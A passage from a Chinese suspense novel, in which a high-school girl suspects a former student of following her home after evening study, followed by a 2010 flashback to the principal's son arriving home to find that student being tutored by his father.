郑俊文正站在人群的最外,跟以前一样,他没什么朋友,只有班长愿意在他落单的时候跟他说话。
黎彦尧大步走过去,“怎么了?”
“曈曈?”
黎遇回过伸,片刻后瞪了他一眼,“你知不知道,妈妈说了,我是高三学生,就是家里的稀有动物,稀有动物的时间是很宝贵的,你竟然让我等你这么久……”
“我错了。”他立马抬手道:“吃不吃冰激凌?”
“花你的钱吗?”
“当然了,前面有家哈根达斯。”
“那我吃。”
回答完毕,黎遇又不由得转头向身后看去。
“看谁呢?”
“那个人是谁?”
黎遇头转回来,才问。
“哪个?”
“你别盯着他们看。”黎遇拽住哥哥的胳膊,“就是那个深绿色条纹上衣,浅色牛仔裤,头发有点儿长,遮住眼睛的那个。”
“你说郑俊文?”黎彦尧回答:“他怎么了?”
“他叫郑俊文啊。”
黎遇低声道。
晚自习结束后,她已经五次遇到郑俊文了。
两次是步行,三次是在公车上。步行那两次,他都不远不近地距离自己大约十米以上,每次在黎遇跑进观澜院再回头望时,他都不见了踪影。而在公交车上,他们都坐得很近,黎遇从来没有一次与他对视过,可只要她转头望向窗外,玻璃窗的倒映都清楚地显示郑俊文正在坐在身后的某个位置目不转睛地某一个点。
一个毫无意义的点。
黎遇有一次晚上终于忍不住回头看他。
可他恰好低着头,她只能看到他的发顶,他的头发不仅长,且很厚,完全看不到发缝,这让黎遇觉得他带着假发。当时公车启动,黎遇晃了晃,就在把头转回来的一瞬间,她恍惚间好像看见了郑俊文抬起头,似乎露出了一个笑容。
黎遇甚至不确定那到底是不是一个笑容。
但她今天站在路边等哥哥的时候,她确定郑俊文冲自己笑了。
那种看不见眼睛,只有肌肉因为唇角提起而鼓出来的笑容只会来自于极其少数人,以至于前五次黎遇其实根本没有看清楚晚自习后的那人究竟长什么样子,也立刻意识到他一定和眼前的是同一个人。
她的鼓膜震动,顿时心中骇然。
手脚有些泛冷,可是郑俊文只看了自己一眼,就低下头继续听旁边的男生说话。
但,笑容没有在他的脸上消失。
黎遇迅速从自己的记忆里搜寻郑俊文这个名字。
近一个月,她看过太多遍七年前的毕业合照,第二排那个小个子男生与周湜与完全不同,站在过目难忘的对立面。
应学校要求,他始终留着比板寸稍长一些的头发,站在角落,盯着镜头沉默着。
那不是一种怯生生的沉默。第一面不显眼,如果特意回想,那是一种维持缄默的长久注视。
黎彦尧把巧克力榛果脆口味递给他,又问了一遍,“郑俊文怎么了?”
黎遇抬起头。
如果不是周湜与和苏芸的事情,她只会把郑俊文当做一个有些怪异的学生,但因为有了命案,她的想法很难不胡乱发散。
犹豫了一下,还是
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说:“这几天下了自习课,我好像看见过他。”
“哦……”黎彦尧把勺子咬在嘴里,拿了两张纸巾,被新品的广告吸引了注意力,含糊道:“刚才吃饭的时候听说他从北京回来后在一家国企上班,位置恰好就在二中附近。”
“是嘛。”黎遇把冰激凌戳了几个洞,故作不经意又问:“可是我下自习课都很晚了,他那么晚才下班吗?”
“他那工作据说挺忙的,加班是常态。”黎彦尧看着妹妹,拍拍她的肩膀,很快故意吓唬道:“大多数工作都需要加班,你以后长大就知道了。”
“切。”
黎遇甩开他的手,往哈根达斯店外走。
被哥哥这么一插科打诨,她心里的惊疑散了许多。
*
二零一零年。三月最后一天。周三。
天气预报上说,进入四月,锦城会迎来一场倒春寒,气温在四月的第一个周将会接近零度。周湜与准备放学后回趟家把之前放回去的外套拿回来。
这一次,他直接坐公车回家。
最后一排坐着三个女孩儿,她们也是二中的,跟他在同一站上车,其中一个女孩儿他见过,名叫汪雅曼,是苏芸的朋友——不得已地,周湜与现在的确对苏芸很了解,这让他的确认为自己像一个变态。
她们细弱的交谈声随着汽车发动机的声音或清楚或模糊地传进他的耳朵里。
“你别难过了,回家好好睡一觉,把这件事情忘了吧。”
“对,反正你再也不去了。”
“可是……我怕我不去妈妈会骂我。”
“那你告诉她实话。”
“我不敢……”
“别怕,还是快忘了。”
周湜与闭上眼睛,听到那个女孩儿的哭泣声终于一点点消失。
她们转头谈论起别的。
“汪雅曼,听说你妈妈要接你去加拿大了?”
“嗯,高二读完。”
“那不剩几个月了。”
“我不想去,据说那地方很冷,我英语又不好……”
到站了,周湜与站起身,下了车。
他走进小区,上楼时,正巧遇到住在楼下的奶奶。
她老花眼了,仔仔细细打量了一番,才道:“哎呦,是周老师的儿子吧。”
“奶奶好。”
“都长这么大了,从小就是帅小伙,好久没见了,这要是在大街上,我可不敢认!”
他笑笑,奶奶记性不好,去年年底见他时也这么说。
“你爸也在呢。”
“是么?”
他有些惊讶,他一直认为周因昌和他回家的频率一样低。
“是啊,上课的声音,我都听到了。”
“哦。”
周湜与侧身上了楼。
他的父亲,周因昌校长,连续五年省级优秀教师,从十年前到现在,一直都在免费给学生们课外补习数学,即使不是自己班的学生,他也愿意花费自己所有的精力为他们教学。
就是这样一个人,在他妈生他的时候还在讲台上上课,仅仅照顾了妻子三天就返回讲台,以至于妻子产后郁郁寡欢,身体出了问题他都一无所知。
直到自杀,他才意识到自己除了人民教师,还有另一个身份。
周湜与推开门。周因昌的声音从书房里传来。
他俯身换了拖鞋,走过去,里面郑俊文正对着一摞厚厚的试卷奋笔疾书。